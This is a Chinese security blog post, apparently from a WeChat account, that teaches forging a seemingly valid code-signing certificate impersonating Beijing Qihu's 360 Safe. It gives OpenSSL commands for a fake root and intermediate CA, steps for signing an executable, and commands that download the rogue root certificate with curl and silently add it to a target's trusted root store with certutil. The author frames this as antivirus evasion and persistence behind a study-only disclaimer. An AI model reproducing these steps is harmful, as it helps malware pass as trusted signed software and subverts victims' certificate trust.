免责声明
本公众号所发布的文章及工具只限交流学习,本公众号不承担任何责任!如有侵权,请告知我们立即删除。
导读:带各位伪造一个有效且逼真的PE数字签名。
0x00 前言
之前写了个数字签名移植的GUI工具:Sign-Sacker(签名掠夺者),由于代码是直接从exe中提取文件头信息(数字签名的信息)并写入到被签名的exe中去,所以只能导致exe从无到有,但该证书是无效的。因此本文准备带各位完整的伪造一个有效的数字签名。
0x01 工具准备
-
OpenSSL:用于制作自签名证书,也是生成证书的主要工具。
官网下载或其他软件环境自带(https://www.openssl.org/source/)
-
数字签名工具专业版:亚信出品,用于为exe以正规方式签入数字签名。
链接:https://res.trustasia.com/trustasia/media/signtools-v3.2.zip
我本地git软件自带了OpenSSL, 因此使用该环境。
0x02 签名信息准备
提前确定我们需要伪造哪款软件的数字签名,本次演示以360安全卫士为例。
信息说明
360Safe.exe 软件签名信息如下:
sha1证书:
sha256证书:
伪造需要准备好一模一样的颁发者和使用者,由于360为双签名文件,因此他的颁发者一个有 - 1
,另一个没有。但是对于只有一个签名的exe是不会存在这种情况,例如火绒,伪造出的证书会完全无差别:
本次展示使用签名工具自带的双签名模式,只伪造其中一个证书的,因此在颁发者处两个签名的是颁发者信息是一致的:
信息整理
-
Common Name (CN): 通用名称或主机名,通常是证书所关联的域名或服务器名称。
-
Organizational Unit (OU): 组织单位,通常指证书持有者所属的部门、组或服务类型。
-
Organization (O): 组织,通常指证书持有者的公司或组织名称。
-
Country (C): 国家代码,用于表示证书发行者所在的国家。这是一个两个字母的国家/地区代码。
-
State or Province Name (S): 指的是所在地的省份或州的名字。
颁发者:
CN = DigiCert Assured ID Code Signing CA-1
OU = www.digicert.com
O = DigiCert Inc
C = US
使用者:
CN = Beijing Qihu Technology Co., Ltd.
O = Beijing Qihu Technology Co., Ltd.
S = Beijing
C = CN
0x03 自签名证书制作
温馨提示:Windows下执行 OpenSSL 需要在openssl.exe目录下执行,且需要确定openssl.cnf 的具体位置,否则会报错。下面图片示例中均在Git自带OpenSSL根目录下执行,且 openssl.cnf 位于上级目录的 ssl 文件夹下。使用根证书(root.crt)作为自签名根证书的CA,并且要生成中间证书,需要使用自签名根证书的私钥(root.key)
1.编辑openssl.cnf文件
本次示例文件位置:ssl/openssl.cnf
设置"basicConstraints"字段为CA:true,表示该证书可以用作CA签署其他证书。
为防止小伙伴们遗漏出错,可将所有该参数字段的FALSE都修改为TRUE。
2.生成自签名根证书和私钥:
执行命令:
openssl req -new -x509 -sha256 -keyout root.key -out root.crt -days 365 -config ../ssl/openssl.cnf
命令解释:
根据指定的配置文件(openssl.cnf)生成一个新的自签名根证书(root.crt),并将对应的私钥保存在root.key文件中。该证书的有效期为365天,使用SHA256算法进行数字签名。
执行示例:
提示输入密码并记住,以及颁发者的相关信息,只填写有的信息,没有的不填。
目录下会生成 root.crt 和 root.key 两个文件
3.生成中间证书请求及中间密钥:
执行命令:
openssl req -new -sha256 -keyout intermediate.key -out intermediate.csr -config ../ssl/openssl.cnf
命令解释:
根据指定的配置文件(openssl.cnf),生成一对密钥和证书请求。私钥将保存在intermediate.key文件中,而证书请求则保存在intermediate.csr文件中。该命令生成的是中间证书请求,而不是直接生成中间证书。中间证书请求需要被发送给证书颁发机构(CA)进行签名,得到最终的中间证书。
执行示例:
根据提示输入密码并记住,以及使用者信息,仍然是只填写有的信息,没有的不填。图中箭头所指信息是一些可选的附加属性:挑战密码一般留空即可,Digicert 的证书请求流程中很少使用挑战密码。公司名称也是可选项,我在此处指定了企业名称。
目录下会生成intermediate.csr, intermediate.key两个文件。
4.使用根证书及其私钥对中间证书进行签名:
执行命令:
openssl x509 -req -in intermediate.csr -CA root.crt -CAkey root.key -CAcreateserial -out intermediate.crt -days 365 -sha256 -extensions v3_intermediate_ca
命令解释:
上述步骤提到中间证书请求需要被发送给证书颁发机构(CA)进行签名,得到最终的中间证书。该命令则是指定了根证书及其私钥来对中间证书请求进行签名,相当于伪装成CA机构,将请求交给自己生成的CA机构(根证书和密钥)来替代合法收费的CA机构。
执行示例:
运行将前面记住的 root.key 的密码输入即可
目录下会生成intermediate.crt
5.合并crt和key生成pfx
执行命令:
openssl pkcs12 -export -in intermediate.crt -inkey intermediate.key -out 360.pfx
命令解释:
合并key和crt文件为一个pfx证书文件,从中间证书文件 ("intermediate.crt") 和对应的私钥文件 ("intermediate.key") 中创建一个 PFX 文件 ("360.pfx"),是为了导入到数字签名工具中使用。
执行示例:
将前面记住的 intermediate.key 的密码填入并会提示输入导出密码,如果怕搞混可将所有密码设为一致,演示中所有密码均为:langsa
0x04 CA证书安装
双击打开,点击安装证书
将证书安装到受信任的根证书颁发机构
点击完成
点击是即可安装成功
0x05 证书导入
点击证书管理——>导入,选择文件,输入密码点击确定即可导入。
导入成功,显示黑色即为正常,如下图:
0x06 开始签名
添加签名规则,选中证书,点击确定。
选中规则:
添加文件后点击数字签名,选择双签名,应用模式。
点击签名验证,应用模式,显示签名有效。
0x07 对比效果
360safe.exe如下图:
langsa-nc.exe如下图:
根据对比只有签名日期不同,且均为有效。
0x08 痛点解决
如果对方机器没有安装根证书root.crt,exe会显示无法验证签名中的证书。
毕竟CA是权威机构,无法做到联网有效。且仅作伪造思路说明,并非是要打CA的脸,也不可能做到。
那如果对方没有证书如何让对方打开时有效?
将证书传到网站,这里是用python3起了一个下载页。
python -m http.server
下载证书到 C:WindowsTemp。
curl -o C:WindowsTemproot.crt http://127.0.0.1:8000/root.crt
将证书静默安装到受信任颁发机构存储区。
certutil -addstore -f "Root" C:WindowsTemproot.crt
执行完毕后则会使得数字签名正常,达到伪造目的。
0x09 总结
本文主要带领各位了解数字签名完整制作与证书签名的过程,中间唯一绕不过就是CA,我们利用自制CA的操作来迷惑目标机器达到持久的存活,属于免杀或者权限维持的细微操作,仅供学习。
原文始发于微信公众号(浪飒sec):真假美猴王之数字签名伪造
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论